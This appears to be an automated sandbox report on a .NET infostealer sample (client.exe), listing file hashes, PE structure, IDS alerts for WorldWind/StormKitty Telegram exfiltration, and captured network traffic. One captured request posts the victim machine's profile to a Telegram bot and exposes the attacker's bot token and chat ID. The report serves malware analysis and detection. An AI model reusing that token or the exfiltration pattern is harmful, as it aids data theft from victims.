MD5:	029ab1a2a01d846355ad4430f6e29b7b
SHA1:	eeb2130c211cc9bcf45410ada6ac4b01c2cb726f
SHA256:	57d8364e9b83c591614899eaf932214b094a1d07370ac32d562936eaf2cf5e21
SHA512:	cf9bcb92de3f62c1012ced10b449905538ef3b19687506fc91c776ef07fc69fecc55735236048be0a637d49f7e4b6a6b9dd6f89d6339aa5690e1e9f8d8939885
SSDEEP:	3072:qe8p6ewdOIwQx76vK/bvTv0cU+lL/dMlZZUZ0b2gTgwARE+WpCc:a6ewwIwQJ6vKX0c5MlYZ0b2t
TLSH:	52045B5837D80A15F3BE5FB8F4B012118B75B477AA1AE75F08E920EE0D62351E911FA3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....r.f................................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x42d1be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66CC72F9 [Mon Aug 26 12:20:09 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d16c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2b1c4	0x2b200	f17eb14d457412fcb03b0cd0003c13ed	False	0.4604336503623188	data	5.92430254431475	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2e000	0x600	0x600	ccd2ec796af2f339686e45e5513c2caf	False	0.4140625	data	4.029504312109572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x30000	0xc	0x200	8e19c1ec6db51c8435749ecf42a022c8	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2e0a0	0x30c	data			0.4269230769230769
RT_MANIFEST	0x2e3ac	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-14T05:42:12.534424+0200	2031009	ET MALWARE StormKitty Data Exfil via Telegram	1	192.168.2.5	49706	149.154.167.220	443	TCP
2024-09-14T05:42:12.534424+0200	2044766	ET MALWARE WorldWind Stealer Checkin via Telegram (GET)	1	192.168.2.5	49706	149.154.167.220	443	TCP
2024-09-14T05:42:13.675301+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49707	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 14, 2024 05:42:09.246608973 CEST	49704	80	192.168.2.5	104.16.185.241
Sep 14, 2024 05:42:09.252883911 CEST	80	49704	104.16.185.241	192.168.2.5
Sep 14, 2024 05:42:09.252968073 CEST	49704	80	192.168.2.5	104.16.185.241
Sep 14, 2024 05:42:09.253766060 CEST	49704	80	192.168.2.5	104.16.185.241
Sep 14, 2024 05:42:09.258656979 CEST	80	49704	104.16.185.241	192.168.2.5
Sep 14, 2024 05:42:09.732027054 CEST	80	49704	104.16.185.241	192.168.2.5
Sep 14, 2024 05:42:09.784365892 CEST	49704	80	192.168.2.5	104.16.185.241
Sep 14, 2024 05:42:09.794444084 CEST	49705	443	192.168.2.5	172.67.196.114
Sep 14, 2024 05:42:09.794469118 CEST	443	49705	172.67.196.114	192.168.2.5
Sep 14, 2024 05:42:09.794624090 CEST	49705	443	192.168.2.5	172.67.196.114
Sep 14, 2024 05:42:09.802841902 CEST	49705	443	192.168.2.5	172.67.196.114
Sep 14, 2024 05:42:09.802854061 CEST	443	49705	172.67.196.114	192.168.2.5
Sep 14, 2024 05:42:10.319540024 CEST	443	49705	172.67.196.114	192.168.2.5
Sep 14, 2024 05:42:10.319681883 CEST	49705	443	192.168.2.5	172.67.196.114
Sep 14, 2024 05:42:10.323407888 CEST	49705	443	192.168.2.5	172.67.196.114
Sep 14, 2024 05:42:10.323415995 CEST	443	49705	172.67.196.114	192.168.2.5
Sep 14, 2024 05:42:10.323618889 CEST	443	49705	172.67.196.114	192.168.2.5
Sep 14, 2024 05:42:10.359153986 CEST	49705	443	192.168.2.5	172.67.196.114
Sep 14, 2024 05:42:10.403400898 CEST	443	49705	172.67.196.114	192.168.2.5
Sep 14, 2024 05:42:11.510157108 CEST	443	49705	172.67.196.114	192.168.2.5
Sep 14, 2024 05:42:11.510238886 CEST	443	49705	172.67.196.114	192.168.2.5
Sep 14, 2024 05:42:11.510287046 CEST	49705	443	192.168.2.5	172.67.196.114
Sep 14, 2024 05:42:11.526921034 CEST	49705	443	192.168.2.5	172.67.196.114
Sep 14, 2024 05:42:11.532496929 CEST	49704	80	192.168.2.5	104.16.185.241
Sep 14, 2024 05:42:11.537844896 CEST	80	49704	104.16.185.241	192.168.2.5
Sep 14, 2024 05:42:11.537941933 CEST	49704	80	192.168.2.5	104.16.185.241
Sep 14, 2024 05:42:11.541269064 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:11.541382074 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:11.541472912 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:11.541867018 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:11.541902065 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.167181015 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.167288065 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.170507908 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.170540094 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.170885086 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.172267914 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.172338963 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.534565926 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.534617901 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.534761906 CEST	443	49706	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.534842014 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.535052061 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.536391020 CEST	49706	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.544171095 CEST	49707	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.544212103 CEST	443	49707	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:12.544306993 CEST	49707	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.544713974 CEST	49707	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:12.544730902 CEST	443	49707	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:13.171111107 CEST	443	49707	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:13.173413038 CEST	49707	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:13.173429012 CEST	443	49707	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:13.675369978 CEST	443	49707	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:13.675515890 CEST	443	49707	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:13.675582886 CEST	49707	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:13.675904036 CEST	49707	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:13.958105087 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:13.958157063 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:13.958223104 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:13.960277081 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:13.960294962 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.577645063 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.580110073 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.580157042 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.878599882 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.888828993 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.888860941 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.896931887 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.896939993 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.897130013 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.897149086 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.897264004 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.897288084 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.897468090 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.897483110 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.897582054 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.897598028 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.897607088 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.897636890 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.897703886 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.897716999 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.897727966 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.897743940 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:14.897833109 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:14.897839069 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:16.397351980 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:16.397437096 CEST	443	49708	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:16.397485018 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:16.398356915 CEST	49708	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:16.406681061 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 14, 2024 05:42:16.406770945 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 14, 2024 05:42:16.406840086 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 14, 2024 05:42:16.407232046 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 14, 2024 05:42:16.407267094 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 14, 2024 05:42:16.866851091 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 14, 2024 05:42:16.866934061 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 14, 2024 05:42:16.869510889 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 14, 2024 05:42:16.869533062 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 14, 2024 05:42:16.869918108 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 14, 2024 05:42:16.871364117 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 14, 2024 05:42:16.915401936 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 14, 2024 05:42:17.378314972 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 14, 2024 05:42:17.378513098 CEST	443	49711	104.20.3.235	192.168.2.5
Sep 14, 2024 05:42:17.378793001 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 14, 2024 05:42:17.379080057 CEST	49711	443	192.168.2.5	104.20.3.235
Sep 14, 2024 05:42:17.380790949 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:17.380887985 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:17.381305933 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:17.381576061 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:17.381613970 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.006031036 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.013017893 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.013073921 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.314698935 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.314990997 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.315068960 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.315213919 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.315227985 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.315345049 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.315376043 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.315730095 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.315769911 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.316015005 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.316071033 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.316239119 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.316268921 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.316287994 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.316304922 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.316389084 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.316407919 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.316421032 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.316432953 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.316479921 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.316831112 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.759074926 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.759310961 CEST	443	49716	149.154.167.220	192.168.2.5
Sep 14, 2024 05:42:18.759516001 CEST	49716	443	192.168.2.5	149.154.167.220
Sep 14, 2024 05:42:18.761749029 CEST	49716	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 14, 2024 05:42:09.160053015 CEST	62377	53	192.168.2.5	1.1.1.1
Sep 14, 2024 05:42:09.167161942 CEST	53	62377	1.1.1.1	192.168.2.5
Sep 14, 2024 05:42:09.225948095 CEST	54315	53	192.168.2.5	1.1.1.1
Sep 14, 2024 05:42:09.233695984 CEST	53	54315	1.1.1.1	192.168.2.5
Sep 14, 2024 05:42:09.783668041 CEST	59787	53	192.168.2.5	1.1.1.1
Sep 14, 2024 05:42:09.793638945 CEST	53	59787	1.1.1.1	192.168.2.5
Sep 14, 2024 05:42:11.532991886 CEST	57530	53	192.168.2.5	1.1.1.1
Sep 14, 2024 05:42:11.540671110 CEST	53	57530	1.1.1.1	192.168.2.5
Sep 14, 2024 05:42:16.399466038 CEST	52015	53	192.168.2.5	1.1.1.1
Sep 14, 2024 05:42:16.406141043 CEST	53	52015	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 14, 2024 05:42:09.160053015 CEST	192.168.2.5	1.1.1.1	0xaae2	Standard query (0)	114.82.9.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Sep 14, 2024 05:42:09.225948095 CEST	192.168.2.5	1.1.1.1	0xb5e	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:09.783668041 CEST	192.168.2.5	1.1.1.1	0xc9dd	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:11.532991886 CEST	192.168.2.5	1.1.1.1	0x87d2	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:16.399466038 CEST	192.168.2.5	1.1.1.1	0x845	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 14, 2024 05:42:09.167161942 CEST	1.1.1.1	192.168.2.5	0xaae2	Name error (3)	114.82.9.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Sep 14, 2024 05:42:09.233695984 CEST	1.1.1.1	192.168.2.5	0xb5e	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:09.233695984 CEST	1.1.1.1	192.168.2.5	0xb5e	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:09.793638945 CEST	1.1.1.1	192.168.2.5	0xc9dd	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:09.793638945 CEST	1.1.1.1	192.168.2.5	0xc9dd	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:11.540671110 CEST	1.1.1.1	192.168.2.5	0x87d2	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:16.406141043 CEST	1.1.1.1	192.168.2.5	0x845	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:16.406141043 CEST	1.1.1.1	192.168.2.5	0x845	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Sep 14, 2024 05:42:16.406141043 CEST	1.1.1.1	192.168.2.5	0x845	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.mylnikov.org

api.telegram.org

pastebin.com

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.16.185.241	80	6548	C:\Users\user\Desktop\client.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 05:42:09.253766060 CEST	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Sep 14, 2024 05:42:09.732027054 CEST	534	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 03:42:09 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=rweTVK0zAxzy0ZcCVH6U95U5RP.Q2WO5QfpX9sTvdNA-1726285329-1.0.1.1-ixJv3sZw8.sVQe3UUaw574lNvKsOBr.JxgExbiJRaOBgXn8WNkaoWMLIXIfl4TJa6S1EC8MY1waFwJoCu296OQ; path=/; expires=Sat, 14-Sep-24 04:12:09 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8c2d5d8e6aa78c2f-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 0a Data Ascii: 8.46.123.33

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	172.67.196.114	443	6548	C:\Users\user\Desktop\client.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 03:42:10 UTC	112	OUT	GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2024-09-14 03:42:11 UTC	779	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 03:42:11 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: MISS Last-Modified: Sat, 14 Sep 2024 03:42:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iVRkw9ln9gmEUB0JNLTlKE9p9DXUmgulawAyRtKwGilTJGTk%2FUV596JO8RpdqGm95s3OSyRgAqnDdJVAFbomnUCbxSdRgSLKzpkdx76d%2BbBUv3BCxZEdFEhbAdG8Qb6fR%2BGv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8c2d5d930ef08c90-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 03:42:11 UTC	88	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 37 32 36 32 38 35 33 33 31 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1726285331}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	149.154.167.220	443	6548	C:\Users\user\Desktop\client.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 03:42:12 UTC	1722	OUT	GET /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-09-13%2011:42:01%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20610930%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20F_5P5%0ARAM:%204095MB%0AHWID:%203D06009743%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20 [TRUNCATED] Host: api.telegram.org Connection: Keep-Alive
2024-09-14 03:42:12 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 14 Sep 2024 03:42:12 GMT Content-Type: application/json Content-Length: 1873 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-14 03:42:12 UTC	1873	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 37 30 36 30 30 34 39 35 36 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 74 20 44 61 74 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6b 69 65 75 64 7a 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 30 39 39 37 31 38 32 34 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 56 5c 75 30 31 30 33 6e 20 4b 69 5c 75 31 65 63 31 75 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 61 6e 4b 69 65 75 38 33 38 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 36 32 38 35 33 33 32 2c 22 74 65 78 74 22 3a 22 5c 75 64 38 Data Ascii: {"ok":true,"result":{"message_id":168,"from":{"id":6706004956,"is_bot":true,"first_name":"Bot Data","username":"kieudzbot"},"chat":{"id":6099718241,"first_name":"V\u0103n Ki\u1ec1u","username":"VanKieu8386","type":"private"},"date":1726285332,"text":"\ud8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	149.154.167.220	443	6548	C:\Users\user\Desktop\client.exe

